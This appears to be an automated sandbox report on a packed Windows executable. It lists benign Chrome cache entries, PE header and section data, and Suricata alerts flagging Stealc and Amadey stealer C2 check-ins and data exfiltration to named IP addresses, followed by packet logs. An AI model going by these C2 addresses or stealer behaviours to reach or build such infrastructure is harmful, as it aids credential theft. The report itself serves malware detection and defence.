SHA-512:	E19E700E697B8AA00C838B1CB4A4919BB38E45E91DF902AFBEC1AB86603289D15D9ACE41A109F8CDC0C92D3C95696C1A736DA45CA84F6361CA82E96929375567
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["mattel wicked dolls packaging","nhl predictions","overwatch classic heroes","costco butter recalled","aurora borealis northern lights forecast","fresno weather dust storm","batman the penguin finale","colorado avalanche"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wamJxZhIPSWNlIGhvY2tleSB0ZWFtMooTZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUEwQ0FNQUFBQU5CTTQ3QUFBQkkxQk1WRVgvLy85dkpqMGpZWklBVllzQUFBQUFVNG9BU29YTjJPTUFWNHhzRnpOdElEbHVJenM2YjVzYlhaQVJXbzdlNXUwQVQ0ano5dmtBUm9QcTcvUjRtTFluWnBlSW83M0QwTjJic3NnN2JaUkdkNktPb2F4c2o3Q2t1YzNWMytpZHFxK3l3OVJwaWFLVWdvZUVYV2lhanBOaGlLMWZnWnpuNmVxZm01NmdwS2VCbWFtQ1QxK1FxOE9lZDRKVWdLYU1jM3JOdThDL3BhelMxOWhNZDVsYUFBRHU1ZWZReXM2cGlKRzh5TTVrQUNaN08wNkRSMWlRWUc2eHZNTUFQNEJWZHBKaUtVWl

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133689
Entropy (8bit):	5.432876362418191
Encrypted:	false
SSDEEP:	1536:i7C/VNgq7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgvCFlOve2dzAcJ82O:fL7vhSJjxeX431PBLx8OF9j1Ysci2i6o
MD5:	FAA12BE3EBDDEA4CC583FED748B6F5A0
SHA1:	F7DB9EF9314483667207FB62BD686B20D52AD23E
SHA-256:	FCDD1ADB17957BF06E5C65D3FD0252AC94CF21FC65079F57DA1B3B61D6F9FBB7
SHA-512:	4D42A318B0017225B45DD2DC69A664E3522A0FB676D43A84FC6EB3407D6D5DE405A2C707CBBDEA4564010B9FC60E9671DB162CD576FD0ED62D5F331AAD95074D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946226245691473
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'816'064 bytes
MD5:	2878cc9a985c0fb2e09a37a43f3d99ae
SHA1:	41fe91f926c0f82e16454d9871c72776bfc5f104
SHA256:	67fadf8ac3d2ead9432d3872c87715b12dbe6974bf28a20622a9e75c555dfa61
SHA512:	d74fb363e5c544d643f2e1e73fb837ad1c74b829fa98d056e8cb4d22f4aaf34d5f06099d2ba52bf20453766ff5ba87d14cca5367f087330a4a8542827810e1da
SSDEEP:	49152:k0i01IX1oK+W7jGroaftEP/3RiyIOS+k:Tf6SK5c31EX3R9IOS+
TLSH:	3485336A8F20265FC9C1FFFF039A531D3FE1803650733DA91599952E2B4A6D68BF8844
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F52810C6DFAh
sete byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	a63daac228b9f09db3004623baa7f5b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a9000	0x200	1d8bc416f0f245b0bb6ddb36613c3e52	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
juusqcgn	0x4f5000	0x1a2000	0x1a1a00	7f92655685b8179353128ec383f0774b	False	0.9949216411628256	data	7.954433207913269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nciomklg	0x697000	0x1000	0x400	be37d67f7f066eb4f82af0707178dd18	False	0.826171875	data	6.379061509004523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	a3f87afd9ebd034a95f6c6fa573a4cfe	False	0.06353400735294118	DOS executable (COM)	0.7749420735461555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T06:23:04.194215+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:23:04.473580+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:23:04.480142+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-12T06:23:04.752841+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:23:04.759752+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-12T06:23:06.162725+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:23:07.236238+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:23:29.069254+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:32.351592+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:34.119332+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:35.247042+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:37.721112+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:38.265775+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:42.993084+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	54620	185.215.113.16	80	TCP
2024-11-12T06:24:06.007009+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	54752	185.215.113.43	80	TCP
2024-11-12T06:24:09.360187+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	54772	185.215.113.16	80	TCP
2024-11-12T06:24:16.429231+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	54766	TCP
2024-11-12T06:24:17.344509+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	54783	185.215.113.43	80	TCP
2024-11-12T06:24:19.694440+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	54786	185.215.113.206	80	TCP
2024-11-12T06:24:21.608056+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	54787	185.215.113.43	80	TCP
2024-11-12T06:24:22.550400+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	54788	185.215.113.16	80	TCP
2024-11-12T06:24:31.902016+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	54793	185.215.113.43	80	TCP
2024-11-12T06:24:33.546054+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	54794	185.215.113.206	80	TCP
2024-11-12T06:24:42.259316+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	54801	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 06:22:55.414499044 CET	49675	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:22:55.414499044 CET	49674	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:22:55.523812056 CET	49673	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:23:02.923734903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:02.928623915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:02.928713083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:02.928867102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:02.933814049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:03.825930119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:03.828723907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:03.903665066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:03.908483028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.194020033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.194215059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.195456982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.200222015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.473500013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.473568916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.473579884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.473612070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.475362062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.480142117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752774000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752785921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752794981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752808094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752820015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752832890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752840996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.752844095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:04.752861977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.752890110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.754976988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:04.759752035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.023775101 CET	49675	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:23:05.023778915 CET	49674	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:23:05.031939983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.035633087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:05.053097963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:05.053129911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:05.133168936 CET	49673	443	192.168.2.5	23.1.237.91
Nov 12, 2024 06:23:05.351878881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:05.376374960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.376386881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.376471996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:05.376893044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.377002954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.377012014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.377048969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:05.377048969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.377058983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.381732941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.381755114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:05.382081985 CET	80	49704	185.215.113.206	192.168.2.5
